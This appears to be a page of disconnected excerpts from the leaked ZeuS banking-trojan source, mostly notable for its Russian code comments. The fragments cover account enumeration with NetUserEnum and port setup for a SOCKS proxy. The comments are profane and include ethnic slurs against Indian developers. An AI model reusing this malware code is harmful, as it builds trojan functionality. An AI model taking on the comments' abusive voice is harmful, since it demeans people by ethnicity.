- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
ZeuS
do
{
/*
Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN
написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем
большой индуский ХУЙ!
*/
DWORD readed;
DWORD total;
USER_INFO_0 *buf0 = NULL;
status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle);
/////////////////////////////////////
//Непонятно, может ли оно вернуть NULL. Помня фокус индусов с wsprintf, защитимся от этого.
if(p == NULL)p = path;
//////////////////////////////////
if(iSize == -1)
{
//Гении-индусы решили подмениь возрашаемое значение в Vista на -1, в случаи если не хватает
//места на всю строку, однако буфер заполняется. Ума устаналивать LastError не хватило...
iSize = _LengthW(pBuf);
}
else pBuf[iSize] = 0;
///////////////////////////////////
//Я ибал в рот тупых уродов написавших тупой rfc и тупорлых говнокодеров,
//Я ставлю листинг на проивзольны порт на все IP сервера, и пашел на хуй софт который не
//сможет это прочитать. Возможно меня ввел в забулждение FlashFXP 3.6.0. Т.к. в destAddr
//он отправляет какие то данные сервера. А по rfc, как я понел, там должны быть данные
//сокс-сервера, где нужно ждать сединения.
//Ищим свободный порт.
((SOCKADDR_IN6 *)destAddr)->sin6_port = 0;